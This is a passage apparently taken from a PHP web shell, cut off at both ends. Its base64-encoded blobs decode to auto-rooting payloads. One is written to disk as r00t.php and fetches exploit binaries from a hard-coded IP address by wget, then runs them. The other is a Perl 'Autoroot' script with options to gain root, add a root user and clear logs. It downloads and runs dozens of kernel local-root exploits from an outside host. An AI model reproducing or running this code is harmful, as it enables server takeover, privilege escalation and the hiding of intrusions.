5c3RlbSgiY2htb2QgNzc3IDYuMS0wOSIpOyANCnN5c3RlbSgiLi82LjEtMDkiKTsgDQpzbGVlcCgxKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovLzE4NC4yMi4yMTkuNTAveHBsL0ZyZWVCU0QvZnJlZTcuc2giKTsgDQpzeXN0ZW0oImNobW9kIDc3NyBmcmVlNy5zaCIpOyANCnN5c3RlbSgiLi9mcmVlNy5zaCIpOyANCnNsZWVwKDEpOyANCnN5c3RlbSgid2dldCBodHRwOi8vMTg0LjIyLjIxOS41MC94cGwvRnJlZUJTRC9sIik7IA0Kc3lzdGVtKCJjaG1vZCA3NzcgbCIpOyANCnN5c3RlbSgiLi9sIik7IA0Kc2xlZXAoMSk7IA0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly8xODQuMjIuMjE5LjUwL3hwbC9GcmVlQlNEL21hc3RlciIpOyANCnN5c3RlbSgiY2htb2QgNzc3IG1hc3RlciIpOyANCnN5c3RlbSgiLi9tYXN0ZXIiKTsgDQpzbGVlcCgxKTsgDQpzeXN0ZW0oIndnZXQgaHR0cDovLzE4NC4yMi4yMTkuNTAveHBsL0ZyZWVCU0QvdzAwdC5zby4xLjAiKTsgDQpzeXN0ZW0oImNobW9kIDc3NyB3MDB0LnNvLjEuMCIpOyANCnN5c3RlbSgiLi93MDB0LnNvLjEuMCIpOyANCmV4aXQoMCk7IA0KfSANCg0KLy9FT0ZfIA0KLy8yMDEzIA0KLy9Qcml2OCBWZXJzaW9uICANCg0KPz4=";
file_put_contents("r00t.php",base64_decode($rroter));
echo "<script>alert('Auto R00ting Created'); hideAll();</script>";
die();
}
elseif ( $pilih == 'rrot' ){
$perlrot = "IyEvdXNyL2Jpbi9wZXJsDQpwcmludCAiIz1bK109PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT1bK109I1xuIjsNCnByaW50ICJ8ICAgICAgICAgICAgICAgQXV0b3Jvb3QgQnkgR2FiYnkgICAgICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgVGhhbmtzIHRvIDogWW9neWFjYXJkZXJsaW5rIC0gU3VyYWJheWEgQmxhY2toYXQgIHxcbiI7DQpwcmludCAifCAgICAgICAgICAgICAgIC0gVGhlIENyb3dzIENyZXcgLSAgICAgICAgICAgICAgICAgfFxuIjsNCnByaW50ICIjPT09PT09PT09PT09PT09PT09PT09WyBVc2FnZSBdPT09PT09PT09PT09PT09PT09PT0jXG4iOw0KcHJpbnQgInwgR2V0IFJvb3QgICAgICAgICA9IHBlcmwgJDAgcm9vdCAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifCBDbGVhciBMb2NhbCBSb290ID0gcGVybCAkMCBkZWwgICAgICAgICAgICAgICAgfFxuIjsNCnByaW50ICJ8IEFkZCBVc2VyIFJvb3QgICAgPSBwZXJsICQwIGFkZCAgICAgICAgICAgICAgICB8XG4iOw0KcHJpbnQgInwgQ2xlYXIgTG9nICAgICAgICA9IHBlcmwgJDAgcm0gICAgICAgICAgICAgICAgIHxcbiI7DQpwcmludCAifD09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09fFxuIjsNCnByaW50ICJ8IENvbnRhY3QgTWUgOiBnYWJieVthdF10aGVjcm93c2NyZXcub3JnICAgICAgICAgICB8XG4iOw0KcHJpbnQgIiM9WytdPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVsrXSNcbiI7DQppZiAoJEFSR1ZbMF0gPX4gInJvb3QiICkgDQp7DQpwcmludCAiU2lhcGluIHJva29rIG1hIGtvcGkgZHVsdSBtYXMgbWJsbyA6UCBcbiI7DQpwcmludCAiT2ssLi4gTGV0cyBzdGFydC4uLiBTYXBhcmF0b3MgQmxhbmsuLi4uISEhIFxuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS0yIik7DQpzeXN0ZW0oIi4vMS0yIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtMyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS0zIik7DQpzeXN0ZW0oIi4vMS0zIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEtNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMS00Iik7DQpzeXN0ZW0oIi4vMS00Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuNi4xOC0zNzQuMTIuMS5lbDUtMjAxMiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTM3NC4xMi4xLmVsNS0yMDEyIik7DQpzeXN0ZW0oIi4vMi42LjE4LTM3NC4xMi4xLmVsNS0yMDEyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMCIpOw0Kc3lzdGVtKCIuLzEwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMSIpOw0Kc3lzdGVtKCIuLzExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzEyIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxMiIpOw0Kc3lzdGVtKCIuLzEyIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNCIpOw0Kc3lzdGVtKCIuLzE0Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1LnNoIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNS5zaCIpOw0Kc3lzdGVtKCIuLzE1LnNoIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1MTUwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNTE1MCIpOw0Kc3lzdGVtKCIuLzE1MTUwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE1MjAwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNTIwMCIpOw0Kc3lzdGVtKCIuLzE1MjAwIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE2Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAxNiIpOw0Kc3lzdGVtKCIuLzE2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE2LTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE2LTEiKTsNCnN5c3RlbSgiLi8xNi0xIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE4Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAxOCIpOw0Kc3lzdGVtKCIuLzE4Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzE4LTUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDE4LTUiKTsNCnN5c3RlbSgiLi8xOC01Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIiKTsNCnN5c3RlbSgiLi8yIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItMSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi0xIik7DQpzeXN0ZW0oIi4vMi0xIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi0zMi00Ni0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLTYtMzItNDYtMjAxMSIpOw0Kc3lzdGVtKCIuLzItNi0zMi00Ni0yMDExIik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi0zNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi02LTM3Iik7DQpzeXN0ZW0oIi4vMi02LTM3Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi05LTIwMDUiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDUiKTsNCnN5c3RlbSgiLi8yLTYtOS0yMDA1Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzItNi05LTIwMDYiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDItNi05LTIwMDYiKTsNCnN5c3RlbSgiLi8yLTYtOS0yMDA2Iik7DQpzeXN0ZW0oImlkO3dob2FtaSIpOw0KcHJpbnQgIklmIHUgZ2V0IHJvb3Qgc3RvcCBpdCB3aXRoIGN0cmwrY1xuIjsNCnN5c3RlbSgid2dldCBodHRwOi8vYmllLm5henVrYS5uZXQvbG9jYWxyb290LzIuMzQtMjAxMUV4cGxvaXQxIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLTYtOS0yMDA2Iik7DQpzeXN0ZW0oIi4vMi02LTktMjAwNiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjQuMjEtMjAwNiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi02LTktMjAwNiIpOw0Kc3lzdGVtKCIuLzItNi05LTIwMDYiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi40LjM2LjkyLjYuMjcuNSAtIDIwMDggTG9jYWwgcm9vdCIpOw0Kc3lzdGVtKCIuLzIuNC4zNi45Mi42LjI3LjUgLSAyMDA4IExvY2FsIHJvb3QiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE2NC0yMDEwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMTY0LTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTE5NCIpOw0Kc3lzdGVtKCIuLzIuNi4xOC0xOTQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NC4xLTIwMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQuMS0yMDEwIik7DQpzeXN0ZW0oIi4vMi42LjE4LTE5NC4xLTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQuMi0yMDEwIik7DQpzeXN0ZW0oIi4vMi42LjE4LTE5NC4yLTIwMTAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTI3NC0yMDExIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgtMjc0LTIwMTEiKTsNCnN5c3RlbSgiLi8yLjYuMTgtMjc0LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC02LXg4Ni0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTYteDg2LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjItaG9vbHlzaGl0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMi1ob29seXNoaXQiKTsNCnN5c3RlbSgiLi8yLjYuMi1ob29seXNoaXQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIwIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjAiKTsNCnN5c3RlbSgiLi8yLjYuMjAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIwLTIiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMC0yIik7DQpzeXN0ZW0oIi4vMi42LjIwLTIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjIiKTsNCnN5c3RlbSgiLi8yLjYuMjIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyLTIwMDgiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yMi0yMDA4Iik7DQpzeXN0ZW0oIi4vMi42LjIyLTIwMDgiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIyLTYtODZfNjQtMjAwNyIpOw0Kc3lzdGVtKCIuLzIuNi4yMi02LTg2XzY0LTIwMDciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIzLTIuNi4yNCIpOw0Kc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNF8yIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjMtMi42LjI0XzIiKTsNCnN5c3RlbSgiLi8yLjYuMjMtMi42LjI0XzIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjIzLTIuNi4yNyIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjIzLTIuNi4yNyIpOw0Kc3lzdGVtKCIuLzIuNi4yMy0yLjYuMjciKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI0Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjQiKTsNCnN5c3RlbSgiLi8yLjYuMjQiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI3LjctZ2VuZXJpIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMjcuNy1nZW5lcmkiKTsNCnN5c3RlbSgiLi8yLjYuMjcuNy1nZW5lcmkiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4yOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjI4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMyLTQ2LjEuQkhzbXAiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMi00Ni4xLkJIc21wIik7DQpzeXN0ZW0oIi4vMi42LjMyLTQ2LjEuQkhzbXAiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzMiKTsNCnN5c3RlbSgiLi8yLjYuMzMiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjMzLTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjE4LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTEiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zNC0yMDExIik7DQpzeXN0ZW0oIi4vMi42LjM0LTIwMTEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MSIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExRXhwbG9pdDEiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjM0LTIwMTFFeHBsb2l0MiIpOw0Kc3lzdGVtKCIuLzIuNi4zNC0yMDExRXhwbG9pdDIiKTsNCnN5c3RlbSgiaWQ7d2hvYW1pIik7DQpwcmludCAiSWYgdSBnZXQgcm9vdCBzdG9wIGl0IHdpdGggY3RybCtjXG4iOw0Kc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9iaWUubmF6dWthLm5ldC9sb2NhbHJvb3QvMi42LjM3Iik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzciKTsNCnN5c3RlbSgiLi8yLjYuMTgtMjAxMSIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuMzctcmMyIik7DQpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzctcmMyIik7DQpzeXN0ZW0oIi4vMi42LjM3LXJjMiIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNV9ob29seXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi41X2hvb2x5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi41X2hvb2x5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNi0zNCIpOw0Kc3lzdGVtKCJjaG1vZCA3NzcgMi42LjYtMzQiKTsNCnN5c3RlbSgiLi8yLjYuNi0zNCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp1a2EubmV0L2xvY2Fscm9vdC8yLjYuNi0zNF9oMDBseXNoaXQiKTsNCnN5c3RlbSgiY2htb2QgNzc3IDIuNi42LTM0X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCIuLzIuNi42LTM0X2gwMGx5c2hpdCIpOw0Kc3lzdGVtKCJpZDt3aG9hbWkiKTsNCnByaW50ICJJZiB1IGdldCByb290IHN0b3AgaXQgd2l0aCBjdHJsK2NcbiI7DQpzeXN0ZW0oIndnZXQgaHR0cDovL2JpZS5uYXp